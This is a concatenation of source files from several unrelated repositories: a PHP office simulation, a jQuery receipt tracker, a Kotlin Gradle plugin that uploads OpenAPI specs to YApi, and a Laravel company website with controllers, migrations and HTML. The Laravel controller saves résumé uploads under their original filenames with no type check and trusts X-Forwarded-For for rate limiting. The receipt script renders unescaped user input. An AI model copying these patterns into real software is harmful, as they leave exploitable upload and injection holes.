return round(($this->people - (3*$this->lan_outlets)) + ($this->people - (3*$this->power_outlets)) +
($this->people - $this->phone_outlets) +($this->people - (1.5*$this->chairs)) +
($this->people - $this->tables));
}
}
class DeveloperOffice extends Office{
/**
* Get the avaiable space rate in the office, rounded to the nearest whole number
* @return int
*/
public function getAvailableSpaceRate(){
return round(($this->people - $this->lan_outlets) + ($this->people - $this->power_outlets) +
($this->people - (2*$this->phone_outlets)) +($this->people - (1.5*$this->chairs)) +
($this->people - $this->tables));
}
}
// Setting the company
$company = new Company();
// Setting 3 sales offices
$company->addOffice(new SalesOffice())->addOffice(new SalesOffice())->addOffice(new SalesOffice());
// Setting 2 developer offices
$company->addOffice(new DeveloperOffice())->addOffice(new DeveloperOffice());
// Setting random values for the company's offices
$company->setRandomValuesForOffices();
// Adding Employees
while(!$company->isFull())
{
// 0. Developers. 1. Salesman
$new_employee_office = rand(0,1) == 0 ? 'DeveloperOffice' : 'SalesOffice';
$company->addEmployee($new_employee_office);
// Output
echo "\n-----------------------\n";
echo "Developers : ".$company->countEmployee('DeveloperOffice')."\n";
echo "Salesman : ".$company->countEmployee('SalesOffice')."\n";
foreach($company->offices as $k => $office)
{
echo get_class($office)." ".($k+1)." : ".$office->getAvailableSpaceRate()."\n";
}
echo "Company available space rate : ".$company->getTotalAvailableSpaceRate()."\n";
}
echo "No more space available\n";
<file_sep>'use strict';
// Init receipts array in the localStorage
if (!localStorage.getItem('receipts')) {
localStorage.setItem('receipts',JSON.stringify([]));
}
var receiptsManager = new ReceiptsManager(localStorage.getItem('receipts'));
$(function(){
// The default action is the list
initList();
// Init left menu action
$('#list').on('click',initList);
// Init left menu action
$('#create').on('click',createReceipt);
// Init left menu action
$('#summarize').on('click',summarize);
// Open the edit window
$('#content').on('click','.edit',function(){
var id = $(this).attr('data-id');
var receipt = receiptsManager.find(id);
$('#date').val(receipt.date.format('YYYY-MM-DD'));
$('#name').val(receipt.name);
$('#amount').val(receipt.amount);
$('#action').attr('data-id', id);
$("#receipt").modal('show');
});
// Remove a receipt
$('#content').on('click','.remove',function(){
var id = $(this).attr('data-id');
receiptsManager.remove(id);
alert('Ticket supprimé avec succès');
initList();
});
// Creating or editing a receipt
$('#action').on('click',function(){
let id = parseInt($(this).attr('data-id'));
// Validate fields
let date = moment($('#date').val());
let name = $('#name').val();
let amount = parseInt($('#amount').val(),10);
// Fields are ok
if(date.isValid() && name.trim() !== "" && amount > 0)
{
// Adding a new receipt
if(id === -1)
{
if(receiptsManager.add(new Receipt(date,name,amount)))
{
alert('Ticket ajouté avec succès');
resetModal();
}
else
{
alert('Un ticket existe déjà à cette date');
}
}
// Editing a receipt
else
{
if(receiptsManager.edit(id,new Receipt(date,name,amount)))
{
alert('Ticket édité avec succès');
resetModal();
}
else
{
alert('Un ticket existe déjà à cette date');
}
}
// Load the list again
initList();
}
});
});
// Init receipts list
function initList(){
$('#content').empty();
// Show receipts list order by
var receipts = receiptsManager.getRecent();
if(receipts.length > 0 )
{
for(var r in receipts)
{
$('#content').append('<tr data-id="'+r+'">' +
'<td>'+receipts[r].date.format('DD/MM/YYYY')+'</td>' +
'<td>'+receipts[r].name+'</td>' +
'<td>' + receipts[r].amount + ' €</td>' +
'<td><button class="btn btn-sm btn-primary edit" data-id="'+r+'">Editer</button> <button class="btn btn-sm btn-danger remove" data-id="'+r+'">Supprimer</button> </td>' +
'</tr>')
}
}
else
{
$('#content').append('<tr><td colspan="4" class="text-center"><em>Aucun ticket</em></td></tr>')
}
}
// Init creating receipt
function createReceipt()
{
// Action mode
resetModal();
$("#receipt").modal('show');
}
// Reset modal
function resetModal(){
$('#date').val('');
$('#name').val('');
$('#amount').val('');
$('#action').attr('data-id', -1);
$("#receipt").modal('hide');
}
// Init summarize
function summarize(){
$('#summary_table').empty();
var total_month = receiptsManager.getTotalByMonth();
var total = 0;
for(var date in total_month)
{
$('#summary_table').append('<tr><td>'+ date +'</td><td>'+ total_month[date] +' €</td></tr>');
total += total_month[date];
}
$('#summary_table').append('<tr><td><strong>Total</strong></td><td><strong>'+ total +' €</strong></td></tr>');
$('#summary').modal('show');
} | 8a9ec0d04dddfc1425c83a086eb7a3e93affb9f4 | [
"JavaScript",
"Markdown",
"PHP"
] | 6 | JavaScript | CrapalZ/5team-test | eee667725247b5d4af1893cf4edd249456ca64e4 | 93d28589e37e6a54487fd0fb8efabbb90ee388ea |
refs/heads/master | <file_sep>plugins {
`java-gradle-plugin`
id("com.gradle.plugin-publish") version "0.13.0"
kotlin("jvm") version "1.3.70"
`maven-publish`
}
group = "com.shinow"
version = "1.0.3"
repositories {
mavenCentral()
maven {
name = "Spring Repositories"
url = uri("https://repo.spring.io/libs-release/")
}
gradlePluginPortal()
}
publishing {
repositories {
maven {
val OSSRH_USER: String by project
val OSSRH_PASS: String by project
credentials {
username = OSSRH_USER
password = <PASSWORD>
}
url = uri("https://oss.sonatype.org/service/local/staging/deploy/maven2/")
}
}
}
dependencies {
implementation(kotlin("stdlib-jdk8"))
implementation(kotlin("reflect"))
implementation(group = "khttp", name = "khttp", version = "1.0.0")
implementation(group = "org.awaitility", name = "awaitility-kotlin", version = "4.0.2")
implementation(files("$projectDir/libs/gradle-processes-0.5.0.jar"))
testImplementation(gradleTestKit())
testImplementation("junit:junit:4.13")
testImplementation("com.beust:klaxon:5.2")
}
gradlePlugin {
plugins {
create("oas-doc-gradle-plugin") {
id = "com.shinow.oas-doc-gradle-plugin"
displayName = "A Gradle plugin for the OAS document."
description =
"This plugin uses swagger-ui to generate an OpenAPI description at spring application runtime."
implementationClass = "com.shinow.oasdoc.gradle.plugin.OpenApiGradlePlugin"
}
}
}
pluginBundle {
website = "https://github.com/gaohuijue/oas-doc-gradle-plugin"
vcsUrl = "https://github.com/gaohuijue/oas-doc-gradle-plugin.git"
tags = listOf("gradle-plugin", "openapi", "swagger")
}
tasks {
compileKotlin {
kotlinOptions.jvmTarget = "1.8"
}
compileTestKotlin {
kotlinOptions.jvmTarget = "1.8"
}
}
<file_sep>rootProject.name = "oas-doc-gradle-plugin"
<file_sep>package com.shinow.oasdoc.gradle.plugin
import khttp.responses.Response
import org.awaitility.Durations
import org.awaitility.core.ConditionTimeoutException
import org.awaitility.kotlin.*
import org.gradle.api.DefaultTask
import org.gradle.api.GradleException
import org.gradle.api.file.DirectoryProperty
import org.gradle.api.provider.Property
import org.gradle.api.tasks.Input
import org.gradle.api.tasks.OutputDirectory
import org.gradle.api.tasks.TaskAction
import java.net.ConnectException
import java.time.Duration
import java.time.temporal.ChronoUnit.SECONDS
open class OpenApiGeneratorTask : DefaultTask() {
@get:Input
val apiDocsUrl: Property<String> = project.objects.property(String::class.java)
@get:Input
val outputFileName: Property<String> = project.objects.property(String::class.java)
@get:OutputDirectory
val outputDir: DirectoryProperty = project.objects.directoryProperty()
private val waitTimeInSeconds: Property<Int> = project.objects.property(Int::class.java)
private val yapiOrigin: Property<String> = project.objects.property(String::class.java)
private val yapiProjectToken: Property<String> = project.objects.property(String::class.java)
init {
description = OPEN_API_TASK_DESCRIPTION
group = GROUP_NAME
// load my extensions
val extension: OpenApiExtension = project.extensions.run {
getByName(EXTENSION_NAME) as OpenApiExtension
}
// set a default value if not provided
val defaultOutputDir = project.objects.directoryProperty()
defaultOutputDir.set(project.buildDir)
apiDocsUrl.set(extension.apiDocsUrl.getOrElse(DEFAULT_API_DOCS_URL))
outputFileName.set(extension.outputFileName.getOrElse(DEFAULT_OPEN_API_FILE_NAME))
outputDir.set(extension.outputDir.getOrElse(defaultOutputDir.get()))
waitTimeInSeconds.set(extension.waitTimeInSeconds.getOrElse(DEFAULT_WAIT_TIME_IN_SECONDS))
val yapiOriginValue = extension.yapiOrigin.getOrElse("")
yapiOrigin.set(
if (yapiOriginValue.endsWith("/"))
yapiOriginValue.substring(0, extension.yapiOrigin.get().length - 1)
else
yapiOriginValue
)
yapiProjectToken.set(extension.yapiProjectToken.getOrElse(""))
if ((yapiOrigin.get().isEmpty() && yapiProjectToken.get().isNotEmpty())
|| (yapiOrigin.get().isNotEmpty() && yapiOrigin.get().isEmpty())
) {
throw GradleException("Uploading OpenApi document requires both \"yapiOrigin\" and \"yapiProjectoToken\" parameters.")
}
}
@TaskAction
fun execute() {
val apiDocs: String
try {
await ignoreException ConnectException::class withPollInterval Durations.ONE_SECOND atMost Duration.of(
waitTimeInSeconds.get().toLong(),
SECONDS
) until {
val statusCode = khttp.get(apiDocsUrl.get()).statusCode
logger.trace("apiDocsUrl = {} status code = {}", apiDocsUrl.get(), statusCode)
statusCode < 299
}
logger.info("Generating OpenApi Docs..")
val response: Response = khttp.get(apiDocsUrl.get())
val isYaml = apiDocsUrl.get().toLowerCase().contains(".yaml")
apiDocs = if (isYaml) response.text else response.jsonObject.toString()
val outputFile = outputDir.file(outputFileName.get()).get().asFile
outputFile.writeText(apiDocs)
} catch (e: ConditionTimeoutException) {
this.logger.error(
"Unable to connect to ${apiDocsUrl.get()} waited for ${waitTimeInSeconds.get()} seconds",
e
)
throw GradleException("Unable to connect to ${apiDocsUrl.get()} waited for ${waitTimeInSeconds.get()} seconds")
}
if (yapiOrigin.get().isNotEmpty() && yapiProjectToken.get().isNotEmpty() && apiDocs.isNotEmpty()) {
uploadToYapi(apiDocs)
}
}
private fun uploadToYapi(apiDocs: String) {
val response = khttp.post(
url = "${yapiOrigin.get()}/api/open/import_data",
data = mapOf(
"type" to "swagger",
"merge" to "merge",
"token" to yapiProjectToken.get(),
"json" to apiDocs
)
)
val responseJson = response.jsonObject
if (responseJson["errcode"] == 0) {
logger.info(responseJson["errmsg"].toString())
} else {
throw GradleException(responseJson.toString())
}
}
}
<file_sep>此插件由 [springdoc-openapi-gradle-plugin](https://github.com/springdoc/springdoc-openapi-gradle-plugin) 改写。
原插件仅支持OAS文件输出,若需要上传到OpenApi文档平台还需增加配置和写脚本, 为简化配置,扩展此插件。
#### build.gradle
```groovy
openApi {
// OpenApi描述文件输出路径不影响上传到yapi,可以根据需要配置。
outputDir.set(file("$buildDir/docs"))
outputFileName.set("swagger.json")
// 如果项目较大,启动慢,适当加大超时时间,若超时仍没有启动成功,OpenApi描述文件将生成失败。
waitTimeInSeconds.set(10 * 60)
// 上传到yapi的配置
yapiOrigin.set("https://yapi.baidu.com")
// yapi 项目 token,从yapi的项目的设置页面查看
yapiProjectToken.set("64a4******************************cea4906c890c98fbfc24cca573ddf")
}
```
| 54c5846c44e27a038d2e8d67aa6e48330a585071 | [
"Markdown",
"Kotlin"
] | 4 | Kotlin | gaohuijue/oas-doc-gradle-plugin | 03083059b0b339976a02f5749ef0a51c1fe0059d | b0deecdb382026bda1435b53d6a8bed0a1d53767 |
refs/heads/master | <file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class contactUsModel extends Model
{
protected $table = "tbl_contactus_queries";
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
use App\postModel;
class headerMenuModel extends Model
{
protected $table ="tbl_menus";
/***
* get menu post and there details
*/
public function getPostDetail(){
return $this->belongsTo('App\postModel', 'post_id', 'id');
}
}
<file_sep>index.file=index.php
url=http://localhost/deftsoft/
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class businessPartner extends Model
{
protected $table = "tbl_business_partners_applications";
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class jobApplications extends Model {
protected $table = "tbl_job_applications";
/* * *
* Get JOBS Details
*/
public function getJobsDetail() {
return $this->hasOne('App\jobs', 'id', 'job_id');
}
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Database\Eloquent\Collection;
use App\Http\Requests;
use Illuminate\Http\Request;
use App\businessPartner;
use App\postModel;
use App\Blog;
use App\contactUsModel;
use App\BlogCategories;
use App\portfolio;
use App\jobApplications;
use DB;
use App\jobCategories;
use App\jobs;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Redirect;
use Session;
class HomeController extends parentController {
public $systemData;
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct() {
parent::__construct();
/* * **
* get Header and footer data
*/
$headerMenuData = $this->getHeaderMenu();
$footerMenuData = $this->getFooterSections();
/* * **
* Get the system setting data
*/
$systemConfig = $this->getSystemConfig();
/* * **
* Get the system setting data
*/
$testimonialData = $this->getClientTestimonial(1, 'video');
$partnersData = $this->getPartners();
$this->systemData = array("systemConfig" => $systemConfig, "testimonialData" => $testimonialData, "headerMenu" => $headerMenuData, "footerMenu" => $footerMenuData, "partnersData" => $partnersData);
}
/**
* Show the application dashboard.
*
* @return \Illuminate\Http\Response
*/
public function index() {
$postData = postModel::find(1);
$postMetaData = postModel::find(1)->getPostMeta;
/* * ***
* Get data for our work
*/
$ourworkPost = $this->getOurWorkPost();
/* * *
* Get Our services Data
*/
$serviceData = $this->getDefaultServices();
/* * *
* Get portfolio categories
*/
$portFolioCategories = $this->getPortfoilioCategories();
/* * *
* Get Client Logo
*/
$getClientLogos = $this->getClientLogos();
/* * *
* Get Blogs
*/
$getBlogs = $this->getIndexBlogs();
/* * **
* Get video testinomial
*
*/
$getVideoTestimonial = $this->getClientTestimonial(1, 'video');
$dataArray = array("getVideoTestimonial" => $getVideoTestimonial, "getBlogs" => $getBlogs, "postDetail" => $postData, "getClientLogos" => $getClientLogos, "portFolioData" => $portFolioCategories, "ourworkPost" => $ourworkPost, "postMetaData" => $postMetaData, "serviceData" => $serviceData);
return view('front.index', ["dataArray" => $dataArray, "systemData" => $this->systemData]);
}
/* * **
* To Handle all Single Segment Requests
*/
public function render($slug = 'home') {
/* * *
* Get Template according to custom Url
*/
$PostCustomMeta = postModel::where("custom_slug", $slug)->get();
if (count($PostCustomMeta) > 0) {
// $PostMeta = postModel::where("post_slug", $slug)->get();
$PostMeta = $PostCustomMeta[0];
} else {
$PostMeta = $this->getPostDetailBySlug($slug);
if (count($PostMeta) > 0) {
$PostMeta = $PostMeta[0];
} else {
return view('front.404-view');
}
}
/* * *
* select the child Posts
*/
$parentPostId = $PostMeta->id;
$childPostData = $this->getChildPostById($parentPostId);
foreach ($childPostData as $key => $val) {
$data_portfolio = portfolio::where("category_id", $val->id)->inRandomOrder()->first();
$childPostData[$key]->portfolio = $data_portfolio;
}
/* * **
* Load the blog
*/
if ($PostMeta->post_slug == 'blog') {
@session_start();
$category_id = isset($_SESSION["category_id"]) && !empty($_SESSION["category_id"]) ? $_SESSION["category_id"] : '';
$keyword = isset($_SESSION["keyword"]) && !empty($_SESSION["keyword"]) ? $_SESSION["keyword"] : '';
$andConditions[] = array("tbl_blog.status", "=", "Active");
if ($category_id != '') {
$andConditions[] = array("tbl_blog.status", "=", "Active");
}
if ($keyword != '') {
$andConditions[] = array("tbl_blog.title", "LIKE", "%" . $keyword . "%");
}
$childPostData["blogData"] = DB::table('tbl_blog')
->leftJoin('users', 'users.id', '=', 'tbl_blog.postedBy')
->select('users.*', 'tbl_blog.*')
->where($andConditions)
->orderBy("tbl_blog.created_at", 'desc')->paginate(1);
$blogCategoryData = BlogCategories::where("status", "Active")->get();
foreach ($blogCategoryData as $key => $val) {
$blogCategoryData[$key]->blogCount = blog::where("category_id", $val->id)->where("status", "Active")->count();
}
$childPostData["blogCategory"] = $blogCategoryData;
} if ($PostMeta->post_slug == 'career') {
$currentOpening = $this->GetCurrentOpenings();
$finalArray = array();
foreach ($currentOpening as $key => $val) {
$finalArray[$val->name] = $val;
}
$childPostData["openingData"] = $finalArray;
}
/* * *
* get client video Testimonial
*/
$videoTestimonial = $this->getClientTestimonial(0, 'video');
$textTestimonial = $this->getClientTestimonial(0, "text");
$dataArray = array("postDetail" => $PostMeta, "childPostData" => $childPostData, "textTestinomial" => $textTestimonial, "videoTestimonial" => $videoTestimonial);
$pageName = $PostMeta->post_slug;
if ($PostMeta->post_type == 'service') {
$pageName = "service-detail";
}
return view('front.' . $pageName . '-page', ["dataArray" => $dataArray, "systemData" => $this->systemData]);
}
/* * **
* To Handle all Two Segments Requests
*/
public function renderSubPart($segment1, $segment2) {
/* * *
* Get Template according to custom Url
*/
$PostCustomMeta = postModel::where("custom_slug", $segment1)->get();
if (count($PostCustomMeta) > 0) {
$ParentPostMeta = postModel::where("post_slug", $segment1);
} else {
$ParentPostMeta = $this->getPostDetailBySlug($segment1);
if (count($ParentPostMeta) > 0) {
$ParentPostMeta = $ParentPostMeta[0];
} else {
return redirect('404-page');
}
}
if ($ParentPostMeta->post_slug == 'blog') {
$childPostMeta = $ParentPostMeta;
/* * *
* get blog details
*/$blogData = DB::table('tbl_blog')
->leftJoin('users', 'users.id', '=', 'tbl_blog.postedBy')
->select('users.*', 'tbl_blog.*')
->where("blog_slug", $segment2)
->get();
$childPostMeta->blogData = $blogData;
} else {
$PostCustomMeta = postModel::where("custom_slug", $segment2)->get();
if (count($PostCustomMeta) > 0) {
$childPostMeta = postModel::where("post_slug", $segment2);
} else {
$childPostMeta = $this->getPostDetailBySlug($segment2);
if (count($childPostMeta) > 0) {
$childPostMeta = $childPostMeta[0];
} else {
return redirect('404-page');
}
}
}
/* * *
* select the child Posts
*/
$childPostMetaID = $childPostMeta->id;
/* * **
* get Image to show on showcase
*/
$secondChildPostData = $this->getChildPostById($childPostMetaID);
/* * *
* get client video Testimonial
*/
$videoTestimonial = $this->getClientTestimonial(0, 'video');
$textTestimonial = $this->getClientTestimonial(0, "text");
$dataArray = array("ParentPostMeta" => $ParentPostMeta, "postDetail" => $childPostMeta, "secondChildPostData" => $secondChildPostData, "textTestinomial" => $textTestimonial, "videoTestimonial" => $videoTestimonial);
if ($childPostMeta->post_type == 'portfolio-category') {
$pageName = "portfolio-single";
$portfolioData = $this->getPortfolioByCategoryId($childPostMetaID);
$dataArray['portfolioData'] = $portfolioData;
} else if ($ParentPostMeta->post_slug == 'blog') {
$pageName = "blog-single";
$blogCategoryData = BlogCategories::where("status", "Active")->get();
foreach ($blogCategoryData as $key => $val) {
$blogCategoryData[$key]->blogCount = blog::where("category_id", $val->id)->where("status", "Active")->count();
}
$childPostMeta->blogCategory = $blogCategoryData;
} else {
$pageName = $childPostMeta->post_slug;
}
return view('front.' . $pageName . '-page', ["dataArray" => $dataArray, "systemData" => $this->systemData]);
}
/* * *
* function to refirect to maintainance mode
*/
public function maintenanceMode() {
return view('front.maintenance-mode');
}
/* * *
* function to refirect to 404
*/
public function pageNotFound() {
$dataArray = array();
$dataArray["data_static"]["meta_title"] = '404';
$dataArray["data_static"]["meta_description"] = '404';
$dataArray["data_static"]["meta_keywords"] = '404';
return view('front.404-view', ["dataArray" => $dataArray, "systemData" => $this->systemData]);
}
/* * **
* Contact us form
*/
public function submitContactUs() {
$ip = $this->getUserIpAddress();
/* * *
*
* check user make 3 contact in current date or not
*/
$records = contactUsModel::where("user_ip", $ip)->whereRaw('Date(created_at) = CURDATE()')->get();
$url = $_SERVER['HTTP_REFERER'];
if (count($records) < 3) {
$contactUsData = new contactUsModel;
$contactUsData->user_ip = $ip;
$contactUsData->name = $_POST["name"];
$contactUsData->email = $_POST["email"];
$contactUsData->phone_number = $_POST["phone_number"];
$contactUsData->message_content = $_POST["message_content"];
$contactUsData->created_at = date("Y-m-d H:i:s");
$contactUsData->save();
Session::flash('message', "Message sent successfully! We will contact you shortly");
return Redirect($url);
} else {
Session::flash('errormessage', "Access denied");
return Redirect($url);
}
}
/* * *
* Funciton to get user IP
*/
function getUserIpAddress() {
$ipAddress = '';
// Check for X-Forwarded-For headers and use those if found
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && ('' !== trim($_SERVER['HTTP_X_FORWARDED_FOR']))) {
$ipAddress = trim($_SERVER['HTTP_X_FORWARDED_FOR']);
} else {
if (isset($_SERVER['REMOTE_ADDR']) && ('' !== trim($_SERVER['REMOTE_ADDR']))) {
$ipAddress = trim($_SERVER['REMOTE_ADDR']);
}
}
return $ipAddress;
}
/* * *
* Function for bussiness partner
*/
function submitBusinessPartner() {
$ip = $this->getUserIpAddress();
$dataArray = array(
"name" => $_POST["name"],
"user_ip" => $ip,
"email" => $_POST["email"],
"business_type" => $_POST["partner_type"],
"Classification" => json_encode($_POST["classification"]),
"created_at" => date("Y-m-d H:i:s")
);
businessPartner::insert($dataArray);
Session::flash('message', "Message sent successfully! We will contact you shortly");
return Redirect('business-partner');
}
/* * *
* Blog Category Filter
*/
public function blogFilterSession() {
$category_id = $_POST["category_id"];
@session_start();
if (isset($_SESSION["category_id"]) && !empty($_SESSION["category_id"])) {
unset($_SESSION["category_id"]);
} else {
$_SESSION["category_id"] = $category_id;
}
echo "success";
die;
}
/* * *
* Blog Keyword Filter
*/
public function blogKeywordSearchSession() {
$keyword = $_POST["keyword"];
@session_start();
$_SESSION["keyword"] = $keyword;
echo "success";
die;
}
/* * *
* Get Current Job Openings
*/
public function GetCurrentOpenings() {
$jobCategoriesData = jobCategories::all();
foreach ($jobCategoriesData as $key => $val) {
$jobCategoriesData[$key]->jobs = jobCategories::find($val->id)->getJobsByCategory;
}
return $jobCategoriesData;
}
/* * *
* To submit the job applications
*/
public function jobApplication(Request $request) {
$sourceFile = '';
if (isset($_FILES['job_person_resume']) && !empty($_FILES['job_person_resume'])) {
$file = $request->file('job_person_resume');
//Move Uploaded File
$destinationPath = 'uploads/job-applications/';
$sourceFile = time() . $file->getClientOriginalName();
$file->move($destinationPath, $sourceFile);
}
$job_person_name = $_POST["job_person_name"];
$job_person_email = $_POST["job_person_email"];
$job_person_phone = $_POST["job_person_phone"];
$job_id = $_POST["job_id"];
$jobApplicationsData = new jobApplications;
$jobApplicationsData->job_id = $job_id;
$jobApplicationsData->app_name = $job_person_name;
$jobApplicationsData->app_email = $job_person_email;
$jobApplicationsData->app_phone = $job_person_phone;
$jobApplicationsData->app_resume = $sourceFile;
$jobApplicationsData->status = 'active';
$jobApplicationsData->created_at = date("Y-m-d H:i:s");
$jobApplicationsData->save();
Session::flash('message', "Your application sent successfully! We will contact you shortly");
return Redirect('career');
}
}
<file_sep><?php
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreatePostmetaTable extends Migration {
/**
* Run the migrations.
*
* @return void
*/
public function up() {
Schema::create('tbl_postmeta', function (Blueprint $table) {
$table->increments('id');
$table->integer('post_id');
$table->string('post_key');
$table->enum('postmeta_type',['image', 'text','video'])->default('text');
$table->text('post_value');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down() {
Schema::drop('tbl_postmeta');
}
}
<file_sep><?php
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreatePostTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('tbl_posts', function (Blueprint $table) {
$table->increments('id');
$table->integer('user_id');
$table->integer('parent_id');
$table->integer('updated_by');
$table->longText('content');
$table->string('title');
$table->string('post_slug');
$table->string('custom_slug');
$table->string('post_type');
$table->string('meta_title');
$table->mediumText('meta_description');
$table->mediumText('meta_keywords');
$table->mediumText('title1');
$table->mediumText('title2');
$table->mediumText('title3');
$table->mediumText('tagline');
$table->mediumText('short_description');
$table->longText('long_description');
$table->enum('status',['Active', 'Inactive'])->default('Inactive');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::drop('tbl_posts');
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class AccessControl extends Model {
protected $table = "tbl_access_control";
}
<file_sep><?php
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateFooterMenuTable extends Migration {
/**
* Run the migrations.
*
* @return void
*/
public function up() {
Schema::create('tbl_footer_menu', function (Blueprint $table) {
$table->increments('id');
$table->integer('parent_id');
$table->integer('post_id');
$table->integer('sort_index');
$table->string('section_title');
$table->string('name');
$table->enum('footer_section', ['section1', 'section2', 'section3', 'section4'])->default('section1');
$table->enum('status', ['Active', 'Inactive'])->default('Inactive');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down() {
Schema::drop('tbl_footer_menu');
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class jobCategories extends Model {
protected $table = "tbl_job_categories";
/* * *
* Get JOBS Details
*/
public function getJobsByCategory() {
return $this->hasMany('App\jobs', 'category_id', 'id');
}
}
<file_sep><!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Web & Mobile App Development, Software Designs & SEO Services | Deftsoft</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<link rel="icon" type="image/x-icon" href="images/favicon.png" />
<!-- BOOTSTRAP CSS -->
<link href="css/bootstrap.css" rel="stylesheet">
<!-- FONT AWESOME CSS -->
<link href="css/font-awesome.css" rel="stylesheet">
<!-- RESPONSIVE TABS CSS -->
<link href="css/responsive-tabs.css" rel="stylesheet">
<!-- OWL CAROUSEL CSS -->
<link href="css/owl.carousel.css" rel="stylesheet">
<!-- CUSTOM STYLESHEET -->
<link href="css/style.css" rel="stylesheet">
<!-- CUSTOM RESONSIVE STYLESHEET -->
<link href="css/responsive.css" rel="stylesheet">
<link href="css/timeline.css" rel="stylesheet">
<link rel="stylesheet" href="fonts/stylesheet.css">
<link href='https://fonts.googleapis.com/css?family=Raleway:400,300,500,600,700,800,900' rel='stylesheet' type='text/css'>
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<header class="ds-header">
<div class="container">
<div class="row">
<div class="col-xs-12 col-sm-3 col-md-3 ds-logo-outer">
<figure><a href="index.html"><img src="images/logo.png" alt="" /></a> </figure>
</div>
<div class="col-xs-12 col-sm-7 col-md-7 ds-nav-outer">
<nav class="navbar">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed"><i class="fa fa-bars" aria-hidden="true"></i>
</button>
</div>
<div class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li><a href="service.html">Services</a></li>
<li><a href="clients-review.html">Clients</a></li>
<li><a href="portfolio.html">Portfolio</a></li>
<li><a href="about.html">About Us</a></li>
<li><a href="contact-us.html">Contact Us</a></li>
</ul>
</div>
</nav>
</div>
<div class="col-xs-12 col-sm-2 col-md-2 ds-ycomp-outer">
<h3>11+<small>Years</small></h3>
</div>
</div>
</div>
</header>
<section class="ds-inner-page-banner">
<div class="container">
<div class="ds-banner-inside-content">
<h1>Deftsoft Helps you Leap Higher than Ever with <br />
<strong>Amazing Career Options</strong></h1>
<p> Realize your <strong>Dream</strong> by Joining Us </p>
</div>
</div>
</section>
<section class="ds-inner-bg" id="ds-career">
<div class="ds-inner-hdd">
<div class="container">
<div class="row">
<div class="col-md-12 col-sm-12 col-xs-12 ds-inner-wrap">
<div class="title-head">
<h5><strong>Career </strong>Opportunities</h5>
<p> With Deftsoft Informatics we can make you realize your dream. We CARE…. It is our responsibility to take care about the career and Aim of our team with the alignment of Deftsoft Informatics Goals, Aim and Dreams!!!!</p>
</div>
<div class="ds-inner-main">
<div class="row">
<div class="col-md-12 col-sm-12 col-xs-12 ds-inner-content">
<article class="career-content-box">
<figure class="featured-image"><img src="images/career-img.jpg" alt="career-img"/></figure>
<div class="content-box">
<h2 class="post-title">Life @ deftsoft</h2>
<p>It is not just work that we cultivate, each day we live is a special way of life because at Deftsoft we know just how to do it!<br>
For creativity is the source to innovation and brilliance we ensure that our think tanks at work never run out of that creative essence; we do so by celebrating life and every color that it has to offer! <br>
Rejoicing the festivity of diverse cultures is what makes us family….periodic activities such as marathons and carom championship along with team outings helps keep us pepped up in life and high spirited to be true to our professional commitments. </p>
<a href="javascript:;" class="btn-primary gallary-button">VIEW OUR GALLERY</a>
</div>
</article>
<!-- post article End -->
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- Career Opportunities END-->
<section class="ds-mo-app-service ds-current-job" id="app-services">
<div class="container">
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<div class="heading-two">
<h2>Current <strong>Job Openings</strong></h2>
</div>
</div>
</div>
<div id="parentHorizontalTab" class="ds-tabs-main-outer">
<ul class="resp-tabs-list main-tab-list hor_1">
<li><div class="tab-wrap"><div class="tab-li php-tab"><span><i class="fa fa-image"></i></span>PHP<br> DEVELOPEMENT</div><div class="overlay"><img src="images/iphone-tab-img.jpg" alt="img"/></div></div></li>
<li><div class="tab-wrap"><div class="tab-li dot-net-tab"><span><i class="fa fa-image"></i></span>DOT NET<br> DEVELOPEMENT</div><div class="overlay"><img src="images/iphone-tab-img.jpg" alt="img"/></div></div></li>
<li><div class="tab-wrap"><div class="tab-li mobile-tab"><span><i class="fa fa-image"></i></span>MOBILE<br> DEVELOPEMENT</div><div class="overlay"><img src="images/iphone-tab-img.jpg" alt="img"/></div></div></li>
<li><div class="tab-wrap"><div class="tab-li internet-tab"><span><i class="fa fa-image"></i></span>INTERNET<br> MARKETING</div><div class="overlay"><img src="images/iphone-tab-img.jpg" alt="img"/></div></div></li>
<li><div class="tab-wrap"><div class="tab-li web-design-tab"><span><i class="fa fa-image"></i></span>WEB<br> DESIGNING</div><div class="overlay"><img src="images/iphone-tab-img.jpg" alt="img"/></div></div></li>
<li><div class="tab-wrap"><div class="tab-li business-tab"><span><i class="fa fa-image"></i></span>BUSINESS<br> Development</div><div class="overlay"><img src="images/iphone-tab-img.jpg" alt="img"/></div></div></li>
